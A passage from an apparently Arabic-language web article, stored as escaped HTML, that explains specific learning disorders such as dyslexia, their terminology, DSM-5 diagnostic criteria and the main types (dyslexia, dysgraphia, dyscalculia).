\u0645\u0646 \u0625\u062c\u0645\u0627\u0644\u064a \u062d\u0627\u0644\u0627\u062a \u0630\u0648\u064a \u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a\u0629 \u0648\u064a\u0634\u0627\u0631 \u0625\u0644\u064a\u0647\u0627 \u0628\u0627\u0633\u0645 &#8220;\u0627\u0644\u062f\u064a\u0633\u0644\u0643\u0633\u064a\u0627 <strong>dyslexia<\/strong>&#8221; \u0623\u0648 &#8220;\u0639\u0633\u0631 \u0627\u0644\u0642\u0631\u0627\u0621\u0629&#8221; \u0643\u0645\u0635\u0637\u0644\u062d \u0639\u0627\u0645 \u0644\u0644\u062a\u0639\u0628\u064a\u0631 \u0639\u0646 \u0645\u062c\u0645\u0648\u0639\u0629 \u0645\u0646 \u0627\u0644\u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u062a\u0636\u0645\u0646 \u0635\u0639\u0648\u0628\u0629 \u0641\u064a \u062a\u0639\u0644\u0645 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0623\u0648 \u062a\u0641\u0633\u064a\u0631 \u0627\u0644\u0643\u0644\u0645\u0627\u062a \u0648\u0627\u0644\u062d\u0631\u0648\u0641 \u0623\u0648 \u063a\u064a\u0631 \u0630\u0644\u0643 \u0645\u0646 \u0627\u0644\u0631\u0645\u0648\u0632 \u063a\u064a\u0631 \u0645\u0642\u062a\u0631\u0646\u0629 \u0628\u0627\u0646\u062e\u0641\u0627\u0636 \u0641\u064a \u0645\u0639\u0627\u0645\u0644 \u0627\u0644\u0630\u0643\u0627\u0621 \u0648\u062a\u0635\u064a\u0628 \u0627\u0644\u062f\u064a\u0633\u0644\u0643\u0633\u064a\u0627 \u0623\u0648 \u0639\u0633\u0631 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0627\u0644\u0623\u0648\u0644\u0627\u062f \u0648\u0627\u0644\u0628\u0646\u0627\u062a \u0628\u0646\u0633\u0628 \u0645\u062a\u0633\u0627\u0648\u064a\u0629.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><strong>\u0648\u064a\u062c\u062f\u0631<\/strong> \u0627\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u0627\u0631\u062a\u0641\u0627\u0639 \u0645\u0627 \u064a\u0639\u0631\u0641 \u0628\u0627\u0642\u062a\u0631\u0627\u0646 \u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a \u0623\u0648 \u0627\u0644\u062e\u0627\u0635 \u0628\u063a\u064a\u0631\u0647 \u0645\u0646 \u0627\u0644\u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0627\u0644\u0639\u0635\u0628\u064a\u0629 \u0627\u0644\u0646\u0645\u0627\u0626\u064a\u0629 \u0627\u0644\u0623\u062e\u0631\u0649 \u0645\u062b\u0644 \u0627\u0636\u0637\u0631\u0627\u0628 \u0642\u0635\u0648\u0631 \u0627\u0644\u0627\u0646\u062a\u0628\u0627\u0647 \u0627\u0644\u0645\u0635\u0627\u062d\u0628 \u0628\u0627\u0644\u0646\u0634\u0627\u0637 \u0627\u0644\u062d\u0631\u0643\u064a \u0627\u0644\u0632\u0627\u0626\u062f\u060c \u0641\u0636\u0644\u0627\u064b \u0639\u0646 \u0627\u0644\u0642\u0644\u0642.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u0648\u0639\u0627\u062f\u0629 \u0645\u0627 \u062a\u0636\u0631\u0631 \u0645\u0647\u0627\u0631\u0627\u062a \u0646\u0648\u0639\u064a\u0629 \u062e\u0627\u0635\u0629 \u0644\u062f\u0649 \u0645\u0646 \u064a\u0639\u0627\u0646\u0648\u0646 \u0645\u0646 \u0635\u0639\u0648\u0628\u0627\u062a \u0623\u0648 \u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a \u0623\u0648 \u0627\u0644\u062e\u0627\u0635\u0629 \u0645\u062b\u0644:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"font-size: 10pt;\">\u062f\u0642\u0629 \u0642\u0631\u0627\u0621\u0629 \u0627\u0644\u0643\u0644\u0645\u0629.<\/span><\/li>\n<li><span style=\"font-size: 10pt;\">\u0627\u0644\u062a\u0647\u062c\u064a.<\/span><\/li>\n<li><span style=\"font-size: 10pt;\">\u0627\u0644\u0642\u0648\u0627\u0639\u062f \u0627\u0644\u0646\u062d\u0648\u064a\u0629 \u0623\u0648 \u0627\u0644\u062d\u0633\u0627\u0628.<\/span><\/li>\n<li><span style=\"font-size: 10pt;\">\u0641\u0636\u0644\u0627\u064b \u0639\u0646 \u0627\u0644\u0642\u0635\u0648\u0631 \u0641\u064a \u062a\u062f\u0641\u0642 \u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0648\u0623\u062f\u0627\u0621 \u0627\u0644\u0639\u0645\u0644\u064a\u0627\u062a \u0627\u0644\u062d\u0633\u0627\u0628\u064a\u0629.<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><strong>\u0648\u063a\u0627\u0644\u0628\u064b\u0627<\/strong> \u064a\u0646\u062c\u0645 \u0639\u0646 \u0627\u0644\u0642\u0635\u0648\u0631 \u0641\u064a \u0647\u0630\u0647 \u0627\u0644\u0645\u0647\u0627\u0631\u0627\u062a \u0645\u0634\u0643\u0644\u0627\u062a \u0646\u0648\u0639\u064a\u0629 \u0641\u064a \u062a\u0639\u0644\u0645 \u0627\u0644\u0645\u0648\u0636\u0648\u0639\u0627\u062a \u0627\u0644\u062f\u0631\u0627\u0633\u064a\u0629 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\u0627\u0644\u062a\u0639\u0644\u0645 \u0645\u0627 \u0628\u064a\u0646 \u0627\u0644\u0628\u0633\u064a\u0637\u0629 \u0625\u0644\u0649 \u0627\u0644\u0645\u062a\u0648\u0633\u0637\u0629 \u0625\u0644\u0649 \u0627\u0644\u0634\u062f\u064a\u062f\u0629\u060c \u0628\u0645\u0627 \u064a\u062a\u0631\u062a\u0628 \u0639\u0644\u0649 \u0630\u0644\u0643 \u0645\u0646 \u062a\u063a\u0627\u064a\u0631 \u0641\u064a \u062e\u062f\u0645\u0627\u062a \u0627\u0644\u0645\u0633\u0627\u0646\u062f\u0629 \u0648\u0627\u0644\u062a\u062f\u062e\u0644\u0627\u062a \u0627\u0644\u062a\u0639\u0644\u064a\u0645\u064a\u0629 \u0648\u0641\u0642\u064b\u0627 \u0644\u0647\u0630\u0647 \u0627\u0644\u0645\u0633\u062a\u0648\u064a\u0627\u062a \u0648\u0628\u0645\u0627 \u064a\u064a\u0633\u0631 \u0639\u0645\u0644\u064a\u0629 \u062a\u0639\u0644\u064a\u0645 \u0647\u0624\u0644\u0627\u0621 \u0627\u0644\u0623\u0637\u0641\u0627\u0644.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><strong>\u0648\u064a\u062c\u062f\u0631<\/strong> \u0627\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u0623\u0646\u0647 \u0625\u0646 \u0644\u0645 \u064a\u062a\u0645 \u062a\u0639\u0631\u0641 \u0648\u0627\u0643\u0634\u0627\u0641 \u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0627\u0644\u062a\u0639\u0644\u0645 \u0648\u0625\u062f\u0627\u0631\u062a\u0647\u0627 \u0645\u0628\u0643\u0631\u064b\u0627 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u062a\u0631\u062a\u0628 \u0639\u0644\u064a\u0647\u0627 \u0645\u0639\u0627\u0646\u0627\u0629 \u0627\u0644\u0645\u0635\u0627\u0628 \u0628\u0647\u0627 \u0645\u0646 \u0645\u0634\u0643\u0644\u0627\u062a \u062a\u0633\u062a\u0645\u0631 \u0645\u0639\u0647 \u0637\u0648\u0627\u0644 \u062d\u064a\u0627\u062a\u0647 \u0648\u062a\u062a\u062c\u0627\u0648\u0632 \u062a\u0623\u062b\u064a\u0631\u0627\u062a\u0647\u0627 \u0627\u0644\u0633\u0644\u0628\u064a\u0629 \u0645\u062c\u0631\u062f \u0627\u0644\u0627\u0646\u062e\u0641\u0627\u0636 \u0641\u064a \u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u062a\u062d\u0635\u064a\u0644 \u0627\u0644\u062f\u0631\u0627\u0633\u064a\u060c \u0648\u0645\u0646 \u0647\u0630\u0647 \u0627\u0644\u0645\u0634\u0643\u0644\u0627\u062a \u0627\u0631\u062a\u0641\u0627\u0639 \u0645\u0639\u0627\u0645\u0644 \u0627\u062d\u062a\u0645\u0627\u0644\u0627\u062a \u0627\u0644\u0645\u0639\u0627\u0646\u0627\u0629 \u0645\u0646 \u0627\u0644\u0645\u0634\u0642\u0629 \u0648\u0627\u0644\u0643\u0631\u0628 \u0648\u0627\u0644\u0636\u064a\u0642 \u0627\u0644\u0646\u0641\u0633\u064a\u060c \u0648\u0627\u0646\u062e\u0641\u0627\u0636 \u0645\u0624\u0634\u0631\u0627\u062a \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0628\u0635\u0641\u0629 \u0639\u0627\u0645\u0629\u060c \u0648\u0631\u0628\u0645\u0627 \u0627\u0644\u0628\u0637\u0627\u0644\u0629 \u0648\u0627\u0644\u062a\u0633\u0631\u0628 \u0645\u0646 \u0627\u0644\u0645\u062f\u0631\u0633\u0629.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt; color: #000000;\"><strong>\u062b\u0627\u0646\u064a\u064b\u0627- \u0645\u0644\u0627\u062d\u0638\u0627\u062a \u0639\u0644\u0649 \u0627\u0644\u0645\u0635\u0637\u0644\u062d\u0627\u062a: <\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><strong>\u0645\u0635\u0637\u0644\u062d<\/strong> \u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a \u0623\u0648 \u0627\u0644\u062e\u0627\u0635 \u0623\u0648 \u0627\u0644\u0645\u062d\u062f\u062f \u0645\u0635\u0637\u0644\u062d\u064b\u0627 \u0637\u0628\u064a\u064b\u0627 \u064a\u0633\u062a\u062e\u062f\u0645 \u0644\u0644\u062a\u0634\u062e\u064a\u0635 \u0648\u0641\u0642\u064b\u0627 \u0644\u0644\u0645\u062d\u0643\u0627\u062a \u0627\u0644\u062a\u0634\u062e\u064a\u0635\u064a\u0629 \u0644\u0647\u0630\u0627 \u0627\u0644\u0627\u0636\u0637\u0631\u0627\u0628 \u0643\u0645\u0627 \u0648\u0631\u062f\u062a \u0641\u064a \u0627\u0644\u062f\u0644\u064a\u0644 \u0627\u0644\u062a\u0634\u062e\u064a\u0635\u064a \u0627\u0644\u0625\u062d\u0635\u0627\u0626\u064a \u0644\u0644\u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0627\u0644\u0625\u0635\u062f\u0627\u0631 \u0627\u0644\u062e\u0627\u0645\u0633 <strong>DSM- 5<\/strong> . \u0648\u0642\u062f \u064a\u0637\u0644\u0642 \u0639\u0644\u064a\u0647 \u0645\u0635\u0637\u0644\u062d &#8220;\u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 <strong>learning disorder<\/strong>&#8220;\u060c \u0623\u0648 &#8220;\u0635\u0639\u0648\u0628\u0629 \u0627\u0644\u062a\u0639\u0644\u0645&#8221; &#8220;\u0625\u0639\u0627\u0642\u0629 \u0627\u0644\u062a\u0639\u0644\u0645 \u0623\u0648 \u0627\u0644\u0639\u062c\u0632 \u0639\u0646 \u0627\u0644\u062a\u0639\u0644\u0645&#8221; <strong>Learning disability<\/strong> \u0641\u064a \u0627\u0644\u0646\u0638\u0645 \u0627\u0644\u062a\u0639\u0644\u064a\u0645\u064a\u0629 \u0648\u0627\u0644\u0642\u0627\u0646\u0648\u0646\u064a\u0629\u060c \u0631\u063a\u0645 \u0623\u0646 \u0645\u0635\u0637\u0644\u062d &#8220;\u0635\u0639\u0648\u0628\u0629 \u0627\u0644\u062a\u0639\u0644\u0645 <strong>learning disability<\/strong>&#8221; \u0644\u0627 \u064a\u0643\u0627\u0641\u0626 \u0628\u0627\u0644\u0636\u0628\u0637 \u062f\u0644\u0627\u0644\u0627\u062a \u0645\u0635\u0637\u0644\u062d &#8220;\u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a \u0623\u0648 \u0627\u0644\u062e\u0627\u0635&#8221; \u0648\u0645\u0639 \u0630\u0644\u0643 \u0641\u0625\u0646 \u0627\u0644\u0637\u0641\u0644 \u0627\u0644\u0630\u064a \u062a\u0634\u062e\u0635 \u062d\u0627\u0644\u062a\u0647 \u0639\u0644\u0649 \u0623\u0646 \u0644\u062f\u064a\u0647 \u0627\u0636\u0637\u0631\u0627\u0628 \u062a\u0639\u0644\u0645 \u0646\u0648\u0639\u064a \u0645\u0646 \u0627\u0644\u0645\u062a\u0648\u0642\u0639 \u0623\u0646 \u062a\u0646\u0637\u0628\u0642 \u0639\u0644\u064a\u0647\u0627 \u0645\u062d\u0643\u0627\u062a &#8220;\u0635\u0639\u0648\u0628\u0629 \u0627\u0644\u062a\u0639\u0644\u0645&#8221;\u060c \u0648\u0645\u0646 \u062b\u0645 \u064a\u0633\u062a\u062d\u0642 \u062a\u0639\u0644\u064a\u0645\u064a\u064b\u0627 \u0648\u0642\u0627\u0646\u0648\u0646\u064a\u064b\u0627 \u0627\u0644\u062a\u0631\u0628\u064a\u0629 \u0627\u0644\u062e\u0627\u0635\u0629 \u0648\u0627\u0644\u062e\u062f\u0645\u0627\u062a \u0627\u0644\u0645\u0633\u0627\u0646\u062f\u0629 \u0641\u064a \u0627\u0644\u0645\u062f\u0627\u0631\u0633\u060c \u0648\u064a\u062c\u062f\u0631 \u0627\u0644\u062a\u0646\u0648\u064a\u0647 \u0643\u0630\u0644\u0643 \u0625\u0644\u0649 \u0648\u062c\u0648\u062f \u0645\u064a\u0644 \u0645\u062a\u0632\u0627\u064a\u062f \u0644\u0625\u0642\u0631\u0627\u0631 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0645\u0635\u0637\u0644\u062d &#8220;\u0627\u0644\u0627\u062e\u062a\u0644\u0627\u0641 \u0627\u0644\u062a\u0639\u0644\u0645\u064a \u0623\u0648 \u0627\u0644\u0641\u0631\u0642 \u0641\u064a \u0627\u0644\u062a\u0639\u0644\u0645 <strong>learning difference<\/strong>&#8221; \u0644\u0644\u062a\u0639\u0628\u064a\u0631 \u0639\u0646 \u0627\u0644\u0623\u0637\u0641\u0627\u0644 \u0627\u0644\u0630\u064a\u0646 \u064a\u0639\u0627\u0646\u0648\u0646 \u0645\u0646 \u0645\u062a\u0627\u0639\u0628 \u0623\u0648 \u0645\u0634\u0643\u0644\u0627\u062a \u0641\u064a \u0627\u0644\u062a\u0639\u0644\u0645 \u062a\u062c\u0646\u0628\u064b\u0627 \u0644\u0644\u062f\u0644\u0627\u0644\u0629 \u0627\u0644\u0633\u0644\u0628\u064a\u0629 \u0644\u0648\u0635\u0641\u0629 \u0627\u0644\u0648\u0633\u0645 \u062a\u062d\u062a \u0645\u0633\u0645\u0649 &#8220;\u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645&#8221;\u060c \u0623\u0648 &#8220;\u0627\u0644\u0637\u0641\u0644 \u0627\u0644\u0645\u0636\u0637\u0631\u0628&#8221;\u060c \u0628\u0645\u0627 \u064a\u0639\u0646\u064a \u0623\u0646 \u0645\u062a\u0627\u0639\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0648\u0645\u0634\u0643\u0644\u0627\u062a\u0647 \u0631\u0628\u0645\u0627 \u0647\u064a \u062a\u0628\u0627\u064a\u0646\u0627\u062a \u0641\u064a \u062d\u062f\u0648\u062f \u0627\u0644\u0645\u062f\u0649 \u0627\u0644\u0637\u0628\u064a\u0639\u064a \u0644\u0627\u062e\u062a\u0644\u0627\u0641\u0627\u062a \u0648\u0641\u0631\u0648\u0642\u0627\u062a \u0641\u064a \u0648\u0633\u0639 \u0627\u0644\u062a\u0639\u0644\u0645 \u0648\u0632\u0645\u0646\u0647 \u0648\u0623\u0633\u0644\u0648\u0628\u0647 \u0648\u0637\u0631\u064a\u0642\u062a\u0647 \u0648\u0623\u0646\u0634\u0637\u062a\u0647.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt; color: #000000;\"><strong>\u062b\u0627\u0644\u062b\u064b\u0627- \u062a\u0634\u062e\u064a\u0635 \u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a \u0623\u0648 \u0627\u0644\u0645\u062d\u062f\u062f: <\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u00a0\u00a0\u00a0\u00a0 \u0644\u0643\u064a \u064a\u062a\u0645 \u0648\u0633\u0645 \u0637\u0641\u0644 \u0623\u0648 \u0645\u062a\u0639\u0644\u0645 \u0645\u0627 \u0628\u0623\u0646\u0647 \u064a\u0639\u0627\u0646\u064a \u0645\u0646 \u0627\u0636\u0637\u0631\u0627\u0628 \u062a\u0639\u0644\u0645 \u0646\u0648\u0639\u064a \u0623\u0648 \u062e\u0627\u0635\u060c \u064a\u062c\u0628 \u0623\u0646 \u064a\u0646\u0637\u0628\u0642 \u0639\u0644\u064a\u0647 \u0627\u0644\u0645\u062d\u0643\u0627\u062a \u0627\u0644\u0623\u0631\u0628\u0639\u0629 \u0627\u0644\u062a\u0627\u0644\u064a\u0629:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"font-size: 10pt;\">\u0645\u0648\u0627\u062c\u0647\u062a\u0647 \u0644\u0635\u0639\u0648\u0628\u0627\u062a \u0641\u064a \u0633\u062a\u0629 \u0645\u062c\u0627\u0644\u0627\u062a \u0639\u0644\u0649 \u0627\u0644\u0623\u0642\u0644 \u0645\u0646 \u0627\u0644\u0645\u062c\u0627\u0644\u0627\u062a \u0627\u0644\u062a\u0627\u0644\u064a\u0629 \u0644\u0645\u062f\u0629 \u0644\u0627 \u062a\u0642\u0644 \u0639\u0646 \u0633\u062a\u0629 \u0623\u0634\u0647\u0631 \u0631\u063a\u0645 \u062a\u0644\u0642\u064a\u0647 \u0627\u0644\u0645\u0633\u0627\u0639\u062f\u0629:<\/span><\/li>\n<li><span style=\"font-size: 10pt;\">\u0635\u0639\u0648\u0628\u0629 \u0641\u064a \u0627\u0644\u0642\u0631\u0627\u0621\u0629 (\u0645\u062b\u0644: \u0639\u062f\u0645 \u062f\u0642\u0629 \u0627\u0644\u0642\u0631\u0627\u0621\u0629\u060c \u0628\u0637\u0621 \u0627\u0644\u0642\u0631\u0627\u0621\u0629\u060c \u0648\u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0645\u0639 \u0628\u0630\u0644 \u0645\u062c\u0647\u0648\u062f \u0645\u0636\u0646\u064a).<\/span><\/li>\n<li><span style=\"font-size: 10pt;\">\u0635\u0639\u0648\u0628\u0629 \u0641\u064a \u0641\u0647\u0645 \u0645\u0639\u0646\u0649 \u0645\u0627 \u064a\u062a\u0645 \u0642\u0631\u0627\u0621\u062a\u0647.<\/span><\/li>\n<li><span style=\"font-size: 10pt;\">\u0635\u0639\u0648\u0628\u0629 \u0641\u064a \u0627\u0644\u062a\u0647\u062c\u0626\u0629.<\/span><\/li>\n<li><span style=\"font-size: 10pt;\">\u0635\u0639\u0648\u0628\u0629 \u0641\u064a \u0627\u0644\u0644\u063a\u0629 \u0627\u0644\u0645\u0643\u062a\u0648\u0628\u0629 \u0623\u0648 \u0627\u0644\u062a\u0639\u0628\u064a\u0631 \u0627\u0644\u0643\u062a\u0627\u0628\u064a (\u0645\u062b\u0644: \u0645\u0634\u0643\u0644\u0627\u062a \u0641\u064a \u0627\u0644\u0642\u0648\u0627\u0639\u062f\u060c \u0627\u0644\u062a\u0631\u0642\u064a\u0645\u060c \u0623\u0648 \u0627\u0644\u062a\u0646\u0638\u064a\u0645).<\/span><\/li>\n<li><span style=\"font-size: 10pt;\">\u0635\u0639\u0648\u0628\u0629 \u0641\u064a \u0641\u0647\u0645 \u0627\u0644\u0645\u0641\u0627\u0647\u064a\u0645 \u0627\u0644\u0631\u0642\u0645\u064a\u0629 &#8220;\u0645\u0641\u0627\u0647\u064a\u0645 \u0627\u0644\u0623\u0631\u0642\u0627\u0645&#8221;\u060c \u0623\u0648 \u0627\u0644\u0639\u062f \u0648\u0627\u0644\u0625\u062d\u0635\u0627\u0621.<\/span><\/li>\n<li><span style=\"font-size: 10pt;\">\u0635\u0639\u0648\u0628\u0629 \u0641\u064a \u0627\u0644\u0627\u0633\u062a\u062f\u0644\u0627\u0644 \u0627\u0644\u062d\u0633\u0627\u0628\u064a (\u0645\u062b\u0644: \u062a\u0637\u0628\u064a\u0642 \u0627\u0644\u0645\u0641\u0627\u0647\u064a\u0645 \u0627\u0644\u062d\u0633\u0627\u0628\u064a\u0629 \u0623\u0648 \u062d\u0644 \u0627\u0644\u0645\u0634\u0643\u0644\u0627\u062a \u0627\u0644\u062d\u0633\u0627\u0628\u064a\u0629).<\/span><\/li>\n<li><span style=\"font-size: 10pt;\">\u0648\u062c\u0648\u062f \u0645\u0647\u0627\u0631\u0627\u062a \u0623\u0643\u0627\u062f\u064a\u0645\u064a\u0629 \u0623\u0642\u0644 \u0645\u0646 \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0645\u062a\u0648\u0642\u0639 \u0645\u0646 \u0627\u0644\u0637\u0641\u0644 \u0648\u0641\u0642\u064b\u0627 \u0644\u0639\u0645\u0631\u0647 \u0628\u0634\u0631\u0637 \u0623\u0646 \u062a\u0633\u0628\u0628 \u0644\u0647 \u0645\u0634\u0643\u0644\u0629 \u0641\u064a \u0627\u0644\u0645\u062f\u0631\u0633\u0629\u060c \u0627\u0644\u0639\u0645\u0644\u060c \u0623\u0648 \u0623\u062f\u0627\u0621 \u0627\u0644\u0623\u0646\u0634\u0637\u0629 \u0627\u0644\u064a\u0648\u0645\u064a\u0629.<\/span><\/li>\n<li><span style=\"font-size: 10pt;\">\u0635\u0639\u0648\u0628\u0627\u062a \u062c\u0648\u0647\u0631\u064a\u0629 \u0641\u064a \u0628\u062f\u0627\u064a\u0629 \u0633\u0646 \u0627\u0644\u0645\u062f\u0631\u0633\u0629 \u0648\u0627\u0633\u062a\u0645\u0631\u0627\u0631 \u0647\u0630\u0647 \u0627\u0644\u0635\u0639\u0648\u0628\u0627\u062a\u060c \u0628\u0644 \u0631\u0628\u0645\u0627 \u064a\u0638\u0644 \u0628\u0639\u0636\u0647\u0627 \u0645\u0644\u0627\u0632\u0645\u064b\u0627 \u0644\u0644\u0645\u062a\u0639\u0644\u0645 \u0644\u0644\u062f\u0631\u062c\u0629 \u0627\u0644\u062a\u064a \u062a\u062c\u0639\u0644\u0647 \u064a\u0639\u0627\u0646\u064a \u0645\u0646 \u0645\u0634\u0643\u0644\u0627\u062a \u062c\u0648\u0647\u0631\u064a\u0629 \u0641\u064a \u0627\u0644\u062a\u0639\u0644\u0645 \u062d\u062a\u0649 \u0633\u0646 \u0627\u0644\u0631\u0634\u062f (\u062e\u0627\u0635\u0629 \u0645\u0639 \u062a\u0632\u0627\u064a\u062f \u0648\u062a\u0639\u0642\u062f \u0648\u062a\u0646\u0648\u0639 \u0627\u0644\u0645\u0637\u0627\u0644\u0628 \u0648\u0627\u0644\u0639\u0645\u0644 \u0627\u0644\u0623\u0643\u0627\u062f\u064a\u0645\u064a \u064a\u0648\u0645 \u0628\u0639\u062f \u064a\u0648\u0645).<\/span><\/li>\n<li><span style=\"font-size: 10pt;\">\u0623\u0646 \u0644\u0627 \u062a\u0639\u0632\u0649 \u0645\u062a\u0627\u0639\u0628 \u0648\u0635\u0639\u0648\u0628\u0627\u062a \u0627\u0644\u062a\u0639\u0644\u0645 \u0647\u0630\u0647 \u0625\u0644\u0649 \u062d\u0627\u0644\u0627\u062a \u0625\u0639\u0627\u0642\u0629 \u0623\u062e\u0631\u0649 \u0645\u062b\u0644 \u0627\u0644\u0625\u0639\u0627\u0642\u0629 \u0627\u0644\u0641\u0643\u0631\u064a\u0629 \u0623\u0648 \u0627\u0644\u0630\u0647\u0646\u064a\u0629\u060c \u0645\u0634\u0643\u0644\u0627\u062a \u0627\u0644\u0631\u0624\u064a\u0629 \u0623\u0648 \u0627\u0644\u0633\u0645\u0639\u060c \u0623\u0648 \u062d\u0627\u0644\u0629 \u0646\u064a\u0648\u0631\u0648\u0644\u0648\u062c\u064a\u0629 \u0645\u062b\u0644 \u0625\u0635\u0627\u0628\u0627\u062a \u0627\u0644\u062f\u0645\u0627\u063a\u060c \u0623\u0648 \u0627\u0644\u0638\u0631\u0648\u0641 \u0627\u0644\u062d\u064a\u0627\u062a\u064a\u0629 \u0627\u0644\u0633\u064a\u0626\u0629 \u0643\u0627\u0644\u062d\u0631\u0645\u0627\u0646 \u0627\u0644\u0627\u0642\u062a\u0635\u0627\u062f\u064a \u0648\u0627\u0644\u0638\u0631\u0648\u0641 \u0627\u0644\u0628\u064a\u0626\u0629 \u0627\u0644\u0633\u064a\u0626\u0629 \u0623\u0648 \u062a\u0642\u0635 \u0627\u0644\u062a\u0639\u0644\u064a\u0645 \u0623\u0648 \u0635\u0639\u0648\u0628\u0627\u062a \u0648\u0645\u062a\u0627\u0639\u0628 \u0627\u0644\u062a\u062d\u062f\u062b\/\u0641\u0647\u0645 \u0627\u0644\u0644\u063a\u0629.<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u0639\u0644\u0649 \u0623\u0646 \u064a\u062a\u0645 \u0627\u0644\u062a\u0634\u062e\u064a\u0635 \u0639\u0644\u0649 \u064a\u062f \u0627\u062e\u062a\u0635\u0627\u0635\u064a \u0645\u0647\u0646\u064a \u0645\u0624\u0647\u0644 \u0648\u0645\u062f\u0631\u0628 \u0641\u064a \u0627\u0644\u0645\u062c\u0627\u0644 \u0648\u0639\u0628\u0631 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0645\u062c\u0645\u0648\u0639\u0629 \u0645\u062a\u0646\u0648\u0639\u0629 \u0645\u0646 \u0648\u0633\u0627\u0626\u0644 \u062c\u0645\u0639 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0645\u062b\u0644 \u0627\u0644\u0645\u0644\u0627\u062d\u0638\u0627\u062a\u060c \u0627\u0644\u0645\u0642\u0627\u0628\u0644\u0627\u062a\u060c \u0627\u0644\u062a\u0627\u0631\u064a\u062e \u0627\u0644\u0623\u0633\u0631\u064a\u060c \u0627\u0644\u062a\u0642\u0627\u0631\u064a\u0631 \u0627\u0644\u0645\u062f\u0631\u0633\u064a\u0629\u060c \u0648\u0627\u0644\u062a\u0642\u064a\u064a\u0645 \u0627\u0644\u0639\u0635\u0628\u064a \u0627\u0644\u0646\u0641\u0633\u064a \u0648\u0627\u0644\u0627\u062e\u062a\u0628\u0627\u0631\u0627\u062a \u0648\u0623\u062f\u0648\u0627\u062a \u0627\u0644\u0642\u064a\u0627\u0633 \u0627\u0644\u0645\u0642\u0646\u0646\u0629 \u0648\u0627\u0644\u0645\u0639\u0645\u0648\u0644 \u0628\u0647\u0627 \u0641\u064a \u0627\u0644\u0645\u062c\u0627\u0644. \u00a0\u00a0\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u0631\u0627\u0628\u0639\u064b\u0627- \u0623\u0646\u0645\u0627\u0637 \u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0627\u0644\u062a\u0639\u0644\u0645- \u0639\u0633\u0631 \u0627\u0644\u0642\u0631\u0627\u0621\u060c \u0639\u0633\u0631 \u0627\u0644\u0643\u062a\u0627\u0628\u0629\u060c \u0639\u0633\u0631 \u0627\u0644\u062d\u0633\u0627\u0628 <strong>Types of Learning Disorders: Dyslexia, Dysgraphia, and Dyscalculia<\/strong>:<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u0648\u0641\u064a\u0645\u0627 \u064a\u0644\u064a \u062a\u0646\u0627\u0648\u0644 \u0634\u062f\u064a\u062f \u0627\u0644\u0625\u064a\u062c\u0627\u0632 \u0644\u0647\u0630\u0647 \u0627\u0644\u0623\u0646\u0645\u0627\u0637:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"font-size: 10pt; color: #000000;\"><strong>\u0639\u0633\u0631 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 &#8220;\u0639\u062b\u0631 \u0627\u0644\u0642\u0631\u0627\u0621\u0629&#8221;<\/strong> <strong>Dyslexia<\/strong><strong>: <\/strong><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><strong>\u0639\u0633\u0631<\/strong> \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0623\u0648 \u0627\u0644\u062f\u064a\u0633\u0644\u0643\u0633\u064a\u0627<strong> dyslexia 